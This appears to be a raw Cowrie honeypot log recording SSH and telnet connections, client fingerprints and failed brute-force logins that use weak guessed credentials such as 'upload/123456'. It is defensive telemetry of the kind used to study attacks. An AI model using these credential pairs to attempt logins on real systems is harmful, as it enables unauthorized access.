{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T04:33:46.419127Z","src_ip":"45.134.9.27","session":"72c79235c4c9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"angga","password":"Angga123!","message":"login attempt [angga/Angga123!] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T04:33:46.683965Z","src_ip":"45.134.9.27","session":"72c79235c4c9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T04:33:47.755390Z","src_ip":"45.134.9.27","session":"72c79235c4c9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.226.5.18","src_port":38630,"dst_ip":"159.203.135.109","dst_port":23,"session":"7bb3a1289c10","protocol":"telnet","message":"New connection: 45.226.5.18:38630 (159.203.135.109:23) [session: 7bb3a1289c10]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T04:33:49.192607Z"}
{"eventid":"cowrie.session.connect","src_ip":"118.219.234.233","src_port":34720,"dst_ip":"10.17.0.5","dst_port":22,"session":"c90923a11f1a","protocol":"ssh","message":"New connection: 118.219.234.233:34720 (10.17.0.5:22) [session: c90923a11f1a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T04:33:53.482252Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T04:33:53.486312Z","src_ip":"118.219.234.233","session":"c90923a11f1a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T04:33:53.668820Z","src_ip":"118.219.234.233","session":"c90923a11f1a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"upload","password":"123456","message":"login attempt [upload/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T04:33:54.436933Z","src_ip":"118.219.234.233","session":"c90923a11f1a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T04:33:55.621396Z","src_ip":"118.219.234.233","session":"c90923a11f1a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.122.210","src_port":44052,"dst_ip":"159.203.135.109","dst_port":22,"session":"6415b976ba33","protocol":"ssh","message":"New connection: 2.57.122.210:44052 (159.203.135.109:22) [session: 6415b976ba33]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T04:34:00.187731Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T04:34:00.204801Z","src_ip":"2.57.122.210","session":"6415b976ba33","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T04:34:00.309698Z","src_ip":"2.57.122.210","session":"6415b976ba33","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"solana","password":"123456","message":"login attempt [solana/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T04:34:00.629974Z","src_ip":"2.57.122.210","session":"6415b976ba33","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T04:34:01.736513Z","src_ip":"2.57.122.210","session":"6415b976ba33","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.027194023132324,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T04:34:20.219570Z","src_ip":"45.226.5.18","session":"7bb3a1289c10","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.226.5.18","src_port":43132,"dst_ip":"159.203.135.109","dst_port":23,"session":"6387ef34db95","protocol":"telnet","message":"New connection: 45.226.5.18:43132 (159.203.135.109:23) [session: 6387ef34db95]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T04:34:39.572860Z"}
{"eventid":"cowrie.session.closed","duration":30.604087352752686,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T04:35:10.176454Z","src_ip":"45.226.5.18","session":"6387ef34db95","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"150.5.169.138","src_port":39970,"dst_ip":"10.17.0.5","dst_port":22,"session":"0d3c03765ce4","protocol":"ssh","message":"New connection: 150.5.169.138:39970 (10.17.0.5:22) [session: 0d3c03765ce4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T04:35:27.354235Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T04:35:27.358482Z","src_ip":"150.5.169.138","session":"0d3c03765ce4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T04:35:27.574569Z","src_ip":"150.5.169.138","session":"0d3c03765ce4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"comunicacao","password":"123456","message":"login attempt [comunicacao/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T04:35:28.472631Z","src_ip":"150.5.169.138","session":"0d3c03765ce4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"157.10.160.221","src_port":40472,"dst_ip":"10.17.0.5","dst_port":22,"session":"1d0244f5e81e","protocol":"ssh","message":"New connection: 157.10.160.221:40472 (10.17.0.5:22) [session: 1d0244f5e81e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T04:35:29.529704Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T04:35:29.532636Z","src_ip":"157.10.160.221","session":"1d0244f5e81e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T04:35:29.691240Z","src_ip":"150.5.169.138","session":"0d3c03765ce4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T04:35:29.778562Z","src_ip":"157.10.160.221","session":"1d0244f5e81e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user01","password":"12345","message":"login attempt [user01/12345] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T04:35:30.800976Z","src_ip":"157.10.160.221","session":"1d0244f5e81e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T04:35:32.047241Z","src_ip":"157.10.160.221","session":"1d0244f5e81e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"118.219.234.233","src_port":46212,"dst_ip":"10.17.0.5","dst_port":22,"session":"85ee1ff48f6f","protocol":"ssh","message":"New connection: 118.219.234.233:46212 (10.17.0.5:22) [session: 85ee1ff48f6f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T04:36:13.709383Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T04:36:13.714227Z","src_ip":"118.219.234.233","session":"85ee1ff48f6f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.122.210","src_port":46618,"dst_ip":"159.203.135.109","dst_port":22,"session":"59f43fc700d6","protocol":"ssh","message":"New connection: 2.57.122.210:46618 (159.203.135.109:22) [session: 59f43fc700d6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T04:36:13.780849Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T04:36:13.784942Z","src_ip":"2.57.122.210","session":"59f43fc700d6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T04:36:13.886795Z","src_ip":"2.57.122.210","session":"59f43fc700d6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T04:36:13.898092Z","src_ip":"118.219.234.233","session":"85ee1ff48f6f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"sol","password":"123456","message":"login attempt [sol/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T04:36:14.217275Z","src_ip":"2.57.122.210","session":"59f43fc700d6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"nico","password":"12345","message":"login attempt [nico/12345] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T04:36:14.675009Z","src_ip":"118.219.234.233","session":"85ee1ff48f6f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T04:36:15.318896Z","src_ip":"2.57.122.210","session":"59f43fc700d6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T04:36:15.860554Z","src_ip":"118.219.234.233","session":"85ee1ff48f6f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.226.5.18","src_port":54356,"dst_ip":"159.203.135.109","dst_port":23,"session":"8138074c7018","protocol":"telnet","message":"New connection: 45.226.5.18:54356 (159.203.135.109:23) [session: 8138074c7018]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T04:36:35.412590Z"}
{"eventid":"cowrie.session.closed","duration":31.67720937728882,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T04:37:07.089609Z","src_ip":"45.226.5.18","session":"8138074c7018","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"157.10.160.221","src_port":57572,"dst_ip":"10.17.0.5","dst_port":22,"session":"4216e4e912ee","protocol":"ssh","message":"New connection: 157.10.160.221:57572 (10.17.0.5:22) [session: 4216e4e912ee]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T04:37:30.705418Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T04:37:30.709859Z","src_ip":"157.10.160.221","session":"4216e4e912ee","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T04:37:30.953502Z","src_ip":"157.10.160.221","session":"4216e4e912ee","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"nico","password":"12345","message":"login attempt [nico/12345] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T04:37:32.156041Z","src_ip":"157.10.160.221","session":"4216e4e912ee","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.8","message":"Connection lost after 2.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T04:37:33.476975Z","src_ip":"157.10.160.221","session":"4216e4e912ee","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"123.188.60.20","src_port":59658,"dst_ip":"10.17.0.5","dst_port":23,"session":"46fae0690390","protocol":"telnet","message":"New connection: 123.188.60.20:59658 (10.17.0.5:23) [session: 46fae0690390]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T04:37:39.451149Z"}
{"eventid":"cowrie.session.connect","src_ip":"150.5.169.138","src_port":35030,"dst_ip":"10.17.0.5","dst_port":22,"session":"ce2a71daff21","protocol":"ssh","message":"New connection: 150.5.169.138:35030 (10.17.0.5:22) [session: ce2a71daff21]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T04:37:41.702154Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T04:37:41.709325Z","src_ip":"150.5.169.138","session":"ce2a71daff21","protocol":"ssh"}
